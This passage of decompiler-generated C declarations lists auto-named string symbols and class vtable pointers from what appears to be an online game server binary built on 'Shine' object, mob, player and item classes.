*List::_vftable_[3])(__int16 hnd); // weak extern char asc_65D888[]; // idb extern char asc_65D8D0[]; // idb extern char asc_65D918[]; // idb extern char asc_65D95C[]; // idb extern char asc_65D988[]; // idb extern char asc_65D9C8[]; // idb extern char asc_65D9F4[]; // idb extern char asc_65DA2C[]; // idb extern char asc_65DA60[]; // idb extern char asc_65DA94[]; // idb extern char asc_65DAC0[]; // idb extern char asc_65DAE8[]; // idb extern char asc_65DB10[]; // idb extern char asc_65DB48[]; // idb extern char asc_65DB7C[]; // idb extern char aShinedropitemS[]; // idb extern char aShinedropite_1[]; // idb extern char aIteminvento_10[]; // idb extern char aIteminventor_1[]; // idb extern char aIteminvento_14[]; // idb extern char aIteminvento_11[]; // idb extern char asc_65DCC0[]; // idb extern char asc_65DD08[]; // idb extern char aShineplayer_31[]; // idb extern char aShineplayer_50[]; // idb extern char asc_65DDD4[]; // idb extern char asc_65DE0C[]; // idb extern char asc_65DE48[]; // idb extern char asc_65DE90[]; // idb extern char asc_65DEC8[]; // idb extern char asc_65DF0C[]; // idb extern char asc_65DF40[]; // idb extern char asc_65DF84[]; // idb extern char asc_65DFB8[]; // idb extern char asc_65DFE4[]; // idb extern char asc_65E014[]; // idb extern char asc_65E044[]; // idb extern char asc_65E074[]; // idb extern char asc_65E0A4[]; // idb extern char asc_65E0D4[]; // idb extern char asc_65E108[]; // idb extern char asc_65E140[]; // idb extern char asc_65E184[]; // idb extern char asc_65E1C0[]; // idb extern char asc_65E208[]; // idb extern char asc_65E258[]; // idb extern char asc_65E2B4[]; // idb extern char asc_65E2E8[]; // idb extern char aShinedropite_3[]; // idb extern char aShinedropite_2[]; // idb extern char asc_65E3B0[]; // idb extern char aShinedropite_4[]; // idb extern char asc_65E428[]; // idb extern char aItemrelocati_0[]; // idb extern char aItemrelocati_8[]; // idb extern char aItemrelocat_10[]; // idb extern char aItemrelocati_3[]; // idb extern char aItemrelocati_4[]; // idb extern char aItemrelocati_7[]; // idb extern char aItemrelocati_6[]; // idb extern char aItemrelocati_1[]; // idb extern char aItemrelocati_9[]; // idb extern char aItemrelocati_2[]; // idb extern char aItemrelocation[]; // idb extern char asc_65E674[]; // idb extern char asc_65E6A4[]; // idb extern char asc_65E6E0[]; // idb extern char asc_65E70C[]; // idb extern char asc_65E748[]; // idb extern char asc_65E774[]; // idb extern char asc_65E7A4[]; // idb extern char asc_65E7E4[]; // idb extern char asc_65E814[]; // idb extern char asc_65E854[]; // idb extern char aMergeError[14]; // weak extern char asc_65E894[]; // idb extern char asc_65E8C4[]; // idb extern char asc_65E900[]; // idb extern char asc_65E92C[]; // idb extern char asc_65E968[]; // idb extern char aSplitmergeErro[18]; // weak extern char asc_65E9A8[3]; // weak extern char asc_65E9AC[]; // idb extern char asc_65E9E4[]; // idb extern char asc_65EA18[]; // idb extern char asc_65EA50[]; // idb extern char asc_65EA98[]; // idb extern char asc_65EAD0[]; // idb extern char asc_65EB00[]; // idb extern char asc_65EB44[]; // idb extern char asc_65EB78[]; // idb extern char asc_65EBB0[]; // idb extern char asc_65EBFC[]; // idb extern char asc_65EC34[]; // idb extern char asc_65EC6C[]; // idb extern char asc_65ECA0[]; // idb extern char asc_65ECD8[]; // idb extern char asc_65ED0C[]; // idb extern char aShineobject_36[]; // idb extern char asc_65ED90[]; // idb extern char aShineobject_35[]; // idb extern char asc_65EE00[]; // idb extern char asc_65EE48[]; // idb extern char aMinigame[]; // idb extern char aTileall[]; // idb extern char aAccessory[]; // idb extern char aPlayer_1[]; // idb extern char aFurniture[]; // idb extern char asc_65EF60[]; // idb extern char asc_65EFA0[]; // idb extern char aNpcrole_stor_2[]; // idb extern char asc_65F004[]; // idb extern char asc_65F0C0[]; // idb extern char asc_65F110[]; // idb extern char asc_65F160[]; // idb extern char asc_65F1B0[]; // idb extern char asc_65F1E8[]; // idb extern char asc_65F240[]; // idb extern char asc_65F288[]; // idb extern char asc_65F2D8[]; // idb extern char asc_65F31C[]; // idb extern char aIteminvento_18[]; // idb extern char aIteminvento_19[]; // idb extern char aIteminvento_12[]; // idb extern char aIteminventor_7[]; // idb extern char aIteminventor_4[]; // idb extern char asc_65F418[]; // idb extern char asc_65F478[]; // idb extern char asc_65F4C8[]; // idb extern char asc_65F508[]; // idb extern char asc_65F53C[]; // idb extern char asc_65F56C[]; // idb extern char asc_65F598[]; // idb extern char asc_65F5C8[]; // idb extern char asc_65F5F4[]; // idb extern char aSplitError[14]; // weak extern char asc_65F630[]; // idb extern char asc_65F660[]; // idb extern char asc_65F68C[]; // idb extern char asc_65F6B8[]; // idb extern char asc_65F708[74]; // weak extern char asc_65F758[]; // idb extern char asc_65F7A0[]; // idb extern char asc_65F7F0[]; // idb extern char asc_65F838[]; // idb extern char asc_65F884[]; // idb extern char asc_65F8B8[]; // idb extern char aItemmslog[]; // idb extern char asc_65F8F8[]; // idb extern char asc_65F940[]; // idb extern char asc_65F998[]; // idb extern char asc_65F9F0[]; // idb extern char asc_65FA34[]; // idb extern char aUnequipfail[12]; // weak extern char asc_65FA78[]; // idb extern char aUnequipsuc[11]; // weak extern char asc_65FAB4[]; // idb extern char asc_65FAE4[]; // idb extern char aItem_randomo_1[]; // idb extern char aItem_randomopt[]; // idb extern char aItem_getupgrad[]; // idb extern char aItem_isupsourc[]; // idb extern char aItem_adjupgrad[]; // idb extern char aItem_adjfailco[]; // idb extern char asc_65FBD4[]; // idb extern char asc_65FC00[]; // idb extern char asc_65FC3C[]; // idb extern char aItem_upgradeNo[]; // idb extern char aItem_upgradeTa[]; // idb extern char aShineobject_46[]; // idb extern char aShineobject_45[]; // idb extern char aShineobject_44[]; // idb extern char aShineobject_43[]; // idb extern char aShineobject_42[]; // idb extern char aShineobject_41[]; // idb extern char aShineobject_40[]; // idb extern char aShineobject_37[]; // idb extern char aUsepotion[]; // idb extern char aUsesppotion[]; // idb extern char aUsehppotion[]; // idb extern char asc_65FF28[]; // idb extern char asc_65FF68[]; // idb extern char aShineobjectSo_[]; // idb extern char asc_65FFE0[]; // idb extern char asc_660018[]; // idb extern char asc_660040[]; // idb extern char asc_660078[]; // idb extern char asc_6600B0[]; // idb extern char asc_6600FC[]; // idb extern char aUseeffectUse_6[]; // idb extern char aUseeffectUse_4[]; // idb extern char aShineobject_50[]; // idb extern char aShineobject_49[]; // idb extern char aShineobject_48[]; // idb extern char aRoarNull[]; // idb extern char aRoarNullReturn[]; // idb extern char asc_660350[]; // idb extern char asc_660390[]; // idb extern char asc_6603E0[]; // idb extern char asc_660424[]; // idb extern char asc_660464[]; // idb extern char asc_660498[]; // idb extern char aB[]; // idb extern char asc_6604E0[]; // idb extern char a010u010u010u[]; // idb extern char asc_660530[]; // idb extern char aCannotOutMinih[23]; // weak extern char aItemident[]; // idb extern char asc_660598[]; // idb extern char asc_6605E0[]; // idb extern char aCannotFindPlay[]; // idb extern char asc_660658[]; // idb extern char asc_660690[]; // idb extern char asc_6606D8[]; // idb extern char aFurniture_areD[]; // idb extern char asc_660720[]; // idb extern char asc_66075C[]; // idb extern char asc_66078C[]; // idb extern char asc_6607B8[]; // idb extern char asc_6607E8[]; // idb extern char asc_660820[]; // idb extern char asc_660858[]; // idb extern char asc_660890[]; // idb extern char asc_6608CC[]; // idb extern char asc_660900[]; // idb extern char asc_66093C[]; // idb extern char asc_660970[]; // idb extern char asc_6609A8[]; // idb extern char asc_6609E0[]; // idb extern char asc_660A24[]; // idb extern char aShineobject_53[]; // idb extern char aShineobject_52[]; // idb extern char asc_660B58[]; // idb extern char asc_660BA0[]; // idb extern char asc_660BE8[]; // idb extern char asc_660C20[]; // idb extern char asc_660C54[]; // idb extern char asc_660C88[]; // idb extern char asc_660CBC[]; // idb extern char asc_660CF8[]; // idb extern char asc_660D30[]; // idb extern char asc_660D68[]; // idb extern char asc_660DA0[]; // idb extern char asc_660DE0[]; // idb extern int (__thiscall *MobTargetAggresiveALL::_vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); // weak extern int (__stdcall *PacketContainerBase::_vftable_)(int itm); // weak extern char aTooManyBroadca[]; // idb extern int (__stdcall *MobTargetHasDisposition::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *MobTargetAggresiveNoLevel::_vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); // weak extern char asc_660F5C[]; // idb extern char asc_660F94[]; // idb extern char aErrorInKeepfro[22]; // weak extern char aSuccessToSilen[19]; // weak extern char asc_660FF0[]; // idb extern char aListWrong[]; // idb extern int (__stdcall *ShineObjectEachList::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *ShineObjectManager::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *PacketContainer::_vftable_)(int hd); // weak extern char aPacketcontai_3[]; // idb extern char aPacketcontai_1[]; // idb extern int (__stdcall *VectorClass::UnitVector::_vftable_)(int itm); // weak extern char aSlantedcoord_3[]; // idb extern char aSlantedcoor_16[]; // idb extern char aSlantedcoor_15[]; // idb extern char filename[]; // idb extern char asc_661170[]; // idb extern char asc_6611B0[]; // idb extern char asc_6611F8[]; // idb extern char asc_661224[]; // idb extern char aShineobject_55[]; // idb extern char aShineobject_56[]; // idb extern char aShineobject_57[]; // idb extern char asc_6612E4[47]; // weak extern char aAllinmap1[]; // idb extern char aTooManyLoop[]; // idb extern char aAllinmap0[10]; // weak extern char asc_66133C[]; // idb extern char idx[]; // idb extern char asc_66137C[]; // idb extern char aAllinmap3[]; // idb extern char aAllinmap2[10]; // weak extern char asc_6613C8[]; // idb extern char asc_6613FC[52]; // weak extern char aSo_allofrang_0[]; // idb extern char asc_661444[52]; // weak extern char aSo_allofrang_3[]; // idb extern char asc_66148C[52]; // weak extern char aSo_allofrang_4[]; // idb extern char asc_6614D4[52]; // weak extern char aSo_allofrangen[]; // idb extern char asc_66151C[]; // idb extern char asc_661550[]; // idb extern char aSo_allofrang_1[]; // idb extern char aSo_allofrang_6[]; // idb extern char aSo_allofrang_5[]; // idb extern char aSo_allofrang_7[]; // idb extern char asc_6615DC[]; // idb extern char asc_661614[]; // idb extern int (__stdcall *MobTargetPlayerCaptivate::_vftable_)(int, #593 *pObj, int distancesquar); // weak extern char asc_661684[]; // idb extern char asc_6616B4[]; // idb extern char asc_6616EC[]; // idb extern char aShineobject_58[]; // idb extern char aShineobject_60[]; // idb extern char aShineobject_59[]; // idb extern char aShineobject_62[]; // idb extern char aShineobject_61[]; // idb extern char aInvalidProtoco[]; // idb extern char aDD_0[]; // idb extern char asc_661864[]; // idb extern char asc_661894[]; // idb extern char asc_6618C4[]; // idb extern char asc_6618F4[]; // idb extern char asc_66192C[]; // idb extern char aCharSo_disconn[]; // idb extern char asc_661974[]; // idb extern char asc_6619B4[]; // idb extern char asc_6619E4[]; // idb extern char aShineobjecte_1[]; // idb extern char aListnoCount[]; // idb extern char aShineobjecteac[]; // idb extern char aShineobjectman[]; // idb extern char aShineobjectm_1[]; // idb extern char aShineobjectlis[]; // idb extern char aShineobjectm_6[]; // idb extern int (__stdcall *ShineCharRegnumFinder::_vftable_)(int, __int16 handle); // weak extern char aShinecharregnu[]; // idb extern int (__stdcall *ShineCharIDFinder::_vftable_)(int, __int16 handle); // weak extern char aShinecharidfin[]; // idb extern int (__stdcall *ShineMobIDFinder::_vftable_)(int, __int16 handle); // weak extern char aShinemobidfind[]; // idb extern char aShineobjectm_5[]; // idb extern char aShineobjectm_3[]; // idb extern char aSlantedcoordli[]; // idb extern char asc_661BDC[]; // idb extern char asc_661C0C[]; // idb extern char asc_661C40[]; // idb extern char asc_661C98[]; // idb extern char asc_661CE0[]; // idb extern char asc_661D30[]; // idb extern char asc_661D7C[]; // idb extern char asc_661DB8[]; // idb extern char asc_661E04[]; // idb extern char asc_661E40[]; // idb extern char asc_661E88[]; // idb extern char asc_661EBC[]; // idb extern char asc_661EF8[]; // idb extern char asc_661F30[]; // idb extern char asc_661F78[]; // idb extern char asc_661FB0[]; // idb extern char asc_661FF8[]; // idb extern char asc_662034[]; // idb extern char asc_662070[]; // idb extern char asc_6620B4[]; // idb extern char asc_6620F8[]; // idb extern char asc_662148[]; // idb extern char asc_662184[]; // idb extern char asc_6621B8[]; // idb extern char aIncorrectBit[]; // idb extern char asc_662204[]; // idb extern char aRegistNumberIn[]; // idb extern char aInvalidregistl[]; // idb extern char asc_662238[]; // idb extern char asc_662274[]; // idb extern char asc_6622B8[]; // idb extern char asc_662300[]; // idb extern char asc_662334[]; // idb extern char asc_662370[]; // idb extern char asc_6623B4[]; // idb extern char aProtocollogger[]; // idb extern char aProtocollogg_1[]; // idb extern char asc_662420[]; // idb extern char asc_662450[]; // idb extern char aListcheckstruc[]; // idb extern char asc_6624A8[]; // idb extern char asc_6624EC[]; // idb extern char asc_662524[]; // idb extern char aGetmobdisposit[]; // idb extern char asc_662570[]; // idb extern char asc_6625A8[]; // idb extern char asc_6625DC[]; // idb extern char asc_662614[]; // idb extern char asc_662648[]; // idb extern char asc_66267C[]; // idb extern char asc_6626B8[]; // idb extern char asc_662708[]; // idb extern char asc_662748[]; // idb extern char asc_662770[]; // idb extern char asc_662798[]; // idb extern char asc_6627D0[]; // idb extern char asc_662808[]; // idb extern char aSlantedcoord_9[]; // idb extern char asc_66288C[]; // idb extern char asc_6628B8[]; // idb extern char asc_6628F0[]; // idb extern char asc_66292C[]; // idb extern char asc_662964[]; // idb extern char asc_66299C[]; // idb extern char asc_6629DC[]; // idb extern char aShineobjectl_1[]; // idb extern char aShineobject_69[]; // idb extern char asc_662A8C[]; // idb extern char asc_662AC0[]; // idb extern char asc_662AF0[]; // idb extern int (*ShineObjectClass::ShineObject::_vftable_[4])(); // weak extern char asc_66382C[]; // idb extern char asc_66385C[]; // idb extern char asc_66388C[]; // idb extern char asc_6638B8[]; // idb extern char asc_6638E8[]; // idb extern int (*ShineObjectClass::ShineDropItem::_vftable_)(); // weak extern int (*ShineObjectClass::ShineEffectObject::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMobileObject::_vftable_)(); // weak extern char asc_6660F8[]; // idb extern char asc_666138[]; // idb extern int (*ShineObjectClass::ShineDoor::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMagicField::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMiniHouse::_vftable_)(); // weak extern int (*ShineObjectClass::ShineAxialFlag::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMob::_vftable_)(); // weak extern int (*ShineObjectClass::ShineBandit::_vftable_)(); // weak extern int (*ShineObjectClass::ShineServant::_vftable_)(); // weak extern int (*ShineObjectClass::ShineNPC::_vftable_)(); // weak extern int (*ShineObjectClass::ShinePlayer::_vftable_)(); // weak extern char asc_66DC00[]; // idb extern char asc_66DC34[39]; // weak extern char asc_66DC5C[41]; // weak extern char asc_66DC88[41]; // weak extern char asc_66DCB4[52]; // weak extern char asc_66DCE8[]; // idb extern char aShineobjectl_2[]; // idb extern char aShineobjectl_3[]; // idb extern char aShineobjectm_0[]; // idb extern char asc_66DDA0[]; // idb extern char asc_66DDEC[]; // idb extern char asc_66DE20[]; // idb extern char asc_66DE64[]; // idb extern char asc_66DEA4[]; // idb extern char asc_66DED8[]; // idb extern char asc_66DF20[]; // idb extern char asc_66DF68[]; // idb extern char asc_66DFA4[]; // idb extern char asc_66DFE4[]; // idb extern char asc_66E014[]; // idb extern char aVoidCharatersk[]; // idb extern char aShineobjectl_4[]; // idb extern char aShineobjectl_5[]; // idb extern char a__largeobjectb[]; // idb extern char aShineobjectm_2[]; // idb extern char pcName[]; // idb extern char aBroadcastlog[]; // idb extern char aInvalidprotoco[]; // idb extern char asc_66E168[]; // idb extern char asc_66E184[]; // idb extern char asc_66E1A0[]; // idb extern char asc_66E1C4[]; // idb extern char asc_66E1E8[]; // idb extern char asc_66E204[]; // idb extern char asc_66E224[]; // idb extern char aCoordrepairlog[]; // idb extern char aEldlocatelog[]; // idb extern char aShinemobileobj[]; // idb extern char aShineobjectShi[]; // idb extern char aShineobjectS_3[]; // idb extern char asc_66E2EC[]; // idb extern char aShinemobileo_2[]; // idb extern char aShinemobileo_4[]; // idb extern char aShinemobileo_0[]; // idb extern char asc_66E3B4[]; // idb extern int (__stdcall *AxialListDeathAura::_vftable_)(int, int, int distancesquar); // weak extern char aShineplayerS_1[]; // idb extern char asc_66E414[]; // idb extern char asc_66E440[]; // idb extern char asc_66E46C[]; // idb extern char aG[]; // idb extern char aLg[]; // idb extern char aShineplayer_36[]; // idb extern char asc_66E4D8[]; // idb extern char aShineplayer_47[]; // idb extern char asc_66E568[]; // idb extern char asc_66E5C0[]; // idb extern char asc_66E618[]; // idb extern char aSo_ply_friend_[]; // idb extern char aShineobject_64[]; // idb extern char aShineobject_63[]; // idb extern char aShineplayer_23[]; // idb extern char aShineplayer_34[81]; // weak extern char aShineplayer_40[]; // idb extern char aShineplayer_49[]; // idb extern char aShineplayer_43[]; // idb extern char aShineplayerSp_[]; // idb extern char asc_66E8F8[]; // idb extern char asc_66E948[]; // idb extern char asc_66E9A0[]; // idb extern char asc_66EA00[]; // idb extern char aSp_nc_skill__1[]; // idb extern char aShineplayer_33[]; // idb extern char asc_66EAC0[]; // idb extern char aShineplayerS_0[]; // idb extern char aShineplayer_38[]; // idb extern char aShineplayer_57[]; // idb extern char aShineplayerS_9[]; // idb extern char asc_66EBF0[]; // idb extern char aShineplayer_21[]; // idb extern char asc_66EC70[]; // idb extern char asc_66ECC8[]; // idb extern char aAdllantesdown[]; // idb extern char aAdllantesup[]; // idb extern char asc_66ED48[]; // idb extern char mapindex[]; // idb extern char asc_66EDB8[]; // idb extern char asc_66EE20[]; // idb extern char asc_66EE80[]; // idb extern char asc_66EED0[]; // idb extern char asc_66EF40[]; // idb extern char asc_66EFA0[]; // idb extern char aShineplayerS_8[68]; // weak extern char asc_66F034[]; // idb extern char asc_66F070[]; // idb extern char aChaosassassin[]; // idb extern char aChaoscloser[]; // idb extern char aChaoscruel[]; // idb extern char aChaoschaser[]; // idb extern char aChaosjoker[]; // idb extern char aChaoswizard[]; // idb extern char aChaoswarrock[]; // idb extern char aChaosenchanter[]; // idb extern char aChaoswizmage[]; // idb extern char aChaosmage[]; // idb extern char aChaosranger[]; // idb extern char aChaossharpshoo[]; // idb extern char aChaosscout[]; // idb extern char aChaoshawkarche[]; // idb extern char aChaosarcher[]; // idb extern char aChaosguardian[]; // idb extern char aChaosholyknigh[]; // idb extern char aChaospaladin[]; // idb extern char aChaoshighcleri[]; // idb extern char aChaoscleric[]; // idb extern char aChaosknight[]; // idb extern char aChaosgladiator[]; // idb extern char aChaoswarrior[]; // idb extern char aChaoscleverfig[]; // idb extern char aChaosfighter[]; // idb extern char aNormalassassin[]; // idb extern char aNormalcloser[]; // idb extern char aNormalcruel[]; // idb extern char aNormalchaser[]; // idb extern char aNormaljoker[]; // idb extern char aNormalwizard[]; // idb extern char aNormalwarrock[]; // idb extern char aNormalenchante[]; // idb extern char aNormalwizmage[]; // idb extern char aNormalmage[]; // idb extern char aNormalranger[]; // idb extern char aNormalsharpsho[]; // idb extern char aNormalscout[]; // idb extern char aNormalhawkarch[]; // idb extern char aNormalarcher[]; // idb extern char aNormalguardian[]; // idb extern char aNormalholyknig[]; // idb extern char aNormalpaladin[]; // idb extern char aNormalhighcler[]; // idb extern char aNormalcleric[]; // idb extern char aNormalknight[]; // idb extern char aNormalgladiato[]; // idb extern char aNormalwarrior[]; // idb extern char aNormalcleverfi[]; // idb extern char pkIndexName[]; // idb extern char asc_66F3B8[]; // idb extern char asc_66F408[]; // idb extern char asc_66F468[]; // idb extern char asc_66F4C0[]; // idb extern char asc_66F510[]; // idb extern char asc_66F550[]; // idb extern char asc_66F5A0[]; // idb extern char asc_66F5D0[]; // idb extern char aShineplayer_17[]; // idb extern char aShineplayerS_4[]; // idb extern char aMysteryboltt_3[]; // idb extern char aMysteryboltt_5[]; // idb extern char aMysteryboltt_0[]; // idb extern char aShineplayer_18[]; // idb extern char aShineplayer_24[]; // idb extern char aShineplayer_55[]; // idb extern char aShineplayer[]; // idb extern int (__thiscall *AxialListMagicFieldDamage::_vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); // weak extern int (__stdcall *AxialListMagicFieldHeal::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListRescueRequest::_vftable_)(int, int, int distancesquar); // weak extern char aCharSo_ply_ban[]; // idb extern char asc_66F820[]; // idb extern char asc_66F868[]; // idb extern char aPP[]; // idb extern char aSlantedlistnor[46]; // weak extern char asc_66F8A8[]; // idb extern char asc_66F8E8[]; // idb extern char asc_66F950[]; // idb extern char asc_66F998[]; // idb extern char asc_66F9D0[]; // idb extern char aFm_isinfieldsi[]; // idb extern char asc_66FA2C[]; // idb extern char aMinihouseErr_1[]; // idb extern char sFN[]; // idb extern char aS_2[3]; // idb extern char aMinihouseError[]; // idb extern char asc_66FAD8[]; // idb extern char aFurnitureEndur[]; // idb extern char aFurniturehnd[]; // idb extern char aEnduregrade[]; // idb extern char aIsrepair[]; // idb extern char aFm_isinfield_3[]; // idb extern char asc_66FB7C[]; // idb extern char asc_66FBAC[]; // idb extern char aAxiallistmagic[]; // idb extern char aAxiallistmag_5[]; // idb extern char aAxiallistmag_2[]; // idb extern char aAxiallistmag_4[]; // idb extern char aAxiallistmag_3[]; // idb extern char asc_66FD14[]; // idb extern char aAxiallistrescu[]; // idb extern char asc_66FD68[]; // idb extern char asc_66FDA8[]; // idb extern char asc_66FDD8[]; // idb extern char asc_66FE10[]; // idb extern char asc_66FE40[]; // idb extern char asc_66FE7C[]; // idb extern char asc_66FEAC[]; // idb extern char asc_66FEE8[]; // idb extern char asc_66FF34[]; // idb extern char asc_66FF6C[]; // idb extern char asc_66FFA0[]; // idb extern char asc_66FFD8[]; // idb extern char asc_670014[]; // idb extern char asc_67004C[]; // idb extern char asc_670080[]; // idb extern char aFm_isinfield_0[]; // idb extern char asc_6700D4[]; // idb extern char asc_670104[]; // idb extern char aFm_isinfield_6[]; // idb extern char asc_670150[]; // idb extern char asc_670194[]; // idb extern char asc_6701C0[]; // idb extern char asc_670208[]; // idb extern char asc_670238[]; // idb extern char asc_670278[]; // idb extern char asc_6702B0[]; // idb extern char asc_6702E0[]; // idb extern char asc_670320[]; // idb extern char aFm_isinfield_2[]; // idb extern char asc_670364[]; // idb extern char asc_67038C[]; // idb extern char asc_670400[]; // idb extern char aCharAsWriteFai[]; // idb extern char aCharAsAbnormal[]; // idb extern char aSo_routinePack[]; // idb extern char aFm_isinfield_4[]; // idb extern char asc_67049C[]; // idb extern char aCharclass_1[13]; // weak extern char asc_6704E8[]; // idb extern char asc_670524[]; // idb extern char aReinforcemovel[]; // idb extern char asc_670568[]; // idb extern char asc_6705AC[]; // idb extern char asc_6705E0[]; // idb extern char asc_670624[]; // idb extern char asc_670658[]; // idb extern char asc_670698[]; // idb extern char asc_6706C8[]; // idb extern char asc_670704[]; // idb extern char asc_67073C[]; // idb extern char asc_670774[]; // idb extern char asc_6707B0[]; // idb extern char asc_6707E4[]; // idb extern char asc_670818[]; // idb extern char asc_670858[]; // idb extern char a_IgnoreMinihou[]; // idb extern char aCannotFindPl_1[]; // idb extern char a_IgnoreMinih_1[]; // idb extern char a_IgnoreMinih_3[]; // idb extern char a_IgnoreMinih_0[]; // idb extern char a_IgnoreMinih_4[]; // idb extern char asc_670988[]; // idb extern char asc_6709C8[]; // idb extern char aPortalCountErr[]; // idb extern char asc_670A30[]; // idb extern char aDbError[]; // idb extern char aNotOwner[]; // idb extern char aNotFoundMh[17]; // weak extern char aNotActiveMh[]; // idb extern char aPlayerRegnum[]; // idb extern char asc_670AD8[]; // idb extern char asc_670B20[]; // idb extern char aDoesNotGetTheM[]; // idb extern char aDoesNotInTheMi[28]; // weak extern char aDoesNotActiveT[32]; // weak extern char aCannotOutMin_1[]; // idb extern char asc_670BCC[]; // idb extern char asc_670C08[]; // idb extern char asc_670C64[]; // idb extern char asc_670C98[]; // idb extern char asc_670CEC[]; // idb extern char asc_670D30[]; // idb extern char asc_670D80[]; // idb extern char asc_670DE8[]; // idb extern char asc_670E58[]; // idb extern char asc_670EB0[]; // idb extern char asc_670F00[]; // idb extern char aCannotEnterMin[]; // idb extern char asc_670F58[]; // idb extern char asc_670F98[]; // idb extern char asc_670FF0[]; // idb extern char asc_671038[]; // idb extern char asc_671080[]; // idb extern char asc_6710B8[]; // idb extern char asc_6710FC[]; // idb extern char asc_671140[]; // idb extern char asc_671188[]; // idb extern char asc_6711C8[]; // idb extern char asc_671210[]; // idb extern char asc_671258[]; // idb extern char asc_6712A8[]; // idb extern char asc_6712EC[]; // idb extern char asc_671330[]; // idb extern char asc_671410[]; // idb extern char asc_67145C[]; // idb extern char asc_671498[]; // idb extern char asc_6714EC[]; // idb extern char aShineobject_81[]; // idb extern char asc_671588[]; // idb extern char asc_6715CC[]; // idb extern char asc_671600[]; // idb extern char asc_671650[]; // idb extern char asc_671688[]; // idb extern char asc_6716E0[]; // idb extern char asc_671728[]; // idb extern char asc_671788[]; // idb extern char aMh_innerinfoNu[]; // idb extern char aSp_mh_innerinf[]; // idb extern char asc_67180C[]; // idb extern char asc_671840[]; // idb extern char asc_671878[]; // idb extern char asc_6718C0[]; // idb extern char aMh_zoneDC[]; // idb extern char aMiniroomskill[]; // idb extern char asc_67192C[]; // idb extern char aDequeTTooLong[]; // idb extern char aNormalattack_3[]; // idb extern char aNormalattack_2[]; // idb extern char asc_671A48[]; // idb extern char aNormalattackda[]; // idb extern char asc_671AB8[]; // idb extern char asc_671AEC[]; // idb extern char aShinequestdiar[]; // idb extern char asc_671B40[]; // idb extern char asc_671B74[]; // idb extern char asc_671BA8[]; // idb extern char asc_671BE4[]; // idb extern char asc_671C10[]; // idb extern char asc_671C3C[]; // idb extern char asc_671C68[]; // idb extern char asc_671CA0[]; // idb extern char asc_671CE4[]; // idb extern char asc_671D20[]; // idb extern char asc_671D68[]; // idb extern char asc_671DC8[]; // idb extern char asc_671E00[]; // idb extern char aShineradianSr_[]; // idb extern char aShinemobSmo_te[]; // idb extern int (__stdcall *AxialListMagicFieldAggro::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListHideFromTarget::_vftable_)(int, int, int distancesquar); // weak extern char aShineplayer_29[53]; // weak extern char aShineplayerS_2[51]; // weak extern char aShineplayer_44[]; // idb extern char aShineplayer_22[]; // idb extern char aSmo_skillblast[15]; // weak extern char asc_671F70[]; // idb extern char asc_671FAC[]; // idb extern char asc_671FE8[]; // idb extern char asc_67201C[]; // idb extern char asc_672048[]; // idb extern char asc_6720A0[]; // idb extern char aAxiallistnea_3[]; // idb extern char aAxiallistnea_4[]; // idb extern char asc_672148[]; // idb extern char aShineobject_71[]; // idb extern char asc_6721CC[]; // idb extern char asc_672200[]; // idb extern char aAxiallistmag_6[]; // idb extern char asc_672284[]; // idb extern char asc_6722B8[]; // idb extern char asc_6722F0[]; // idb extern char asc_672340[]; // idb extern char asc_672388[]; // idb extern char asc_6723D4[]; // idb extern char aSkilleraseNu_1[]; // idb extern char aSkilleraseNull[]; // idb extern char asc_672438[]; // idb extern char asc_672478[]; // idb extern char aCharaterski_32[]; // idb extern char asc_6724C0[]; // idb extern char aMobexplosionel[]; // idb extern char aMobexplosion_1[]; // idb extern char aMobexplosion_5[]; // idb extern char aMobexplosion_4[]; // idb extern char asc_6725CC[]; // idb extern char asc_672608[]; // idb extern char aAxiallisthidef[]; // idb extern char asc_672660[]; // idb extern char asc_672694[]; // idb extern char asc_6726F4[]; // idb extern char aShineobject_97[]; // idb extern char asc_672768[]; // idb extern char asc_6727AC[]; // idb extern char asc_6727E8[]; // idb extern char asc_672828[]; // idb extern char asc_672880[]; // idb extern char asc_6728D0[]; // idb extern char asc_67290C[]; // idb extern char aSmo_skillbash_[20]; // weak extern char asc_672960[]; // idb extern char asc_6729A0[]; // idb extern char asc_6729E0[]; // idb extern char aShineobject_70[]; // idb extern char aShineobject_67[]; // idb extern int (__thiscall *AxialListLimitAreaScan::_vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); // weak extern int (__thiscall *AxialListNearScanSkillEnemy::_vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); // weak extern int (__thiscall *AxialListNearScanSkillParty::_vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); // weak extern int (__thiscall *AxialListNearScanSkillFriend::_vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); // weak extern char asc_672A8C[]; // idb extern char asc_672C50[]; // idb extern char asc_672C90[]; // idb extern char asc_672CC8[]; // idb extern char asc_672D18[]; // idb extern char aSp_nc_bat_skil[33]; // weak extern char asc_672D80[]; // idb extern char asc_672DD0[]; // idb extern char aSkilleffecta_0[]; // idb extern char aBattleobject_1[]; // idb extern char aShineobject_66[]; // idb extern char aAxiallistsca_1[]; // idb extern char aAxiallistsca_3[54]; // weak extern char aAxiallistsca_4[]; // idb extern char aAxiallistsca_2[]; // idb extern char aAxiallistscans[]; // idb extern char asc_672FF0[]; // idb extern char asc_673040[]; // idb extern char asc_673088[]; // idb extern char aSkilleffecta_9[]; // idb extern char aSkilleffecta_6[]; // idb extern char aSkilleffecta_8[]; // idb extern char aSkilleffecta_2[]; // idb extern char aSkilleffecta_4[]; // idb extern char aSkilldatabo_19[]; // idb extern char aSkilldatabox_6[]; // idb extern char aSkilldatabox_8[]; // idb extern char aSkilldataboxSk[]; // idb extern char aSkilldatabox_4[]; // idb extern char aSkilldatabox_5[]; // idb extern char aSkilldatabox_1[]; // idb extern char aSkilldatabo_11[]; // idb extern char aSkilldatabox_0[]; // idb extern char aSkilldatabo_16[]; // idb extern char aSkilldatabox_7[]; // idb extern char 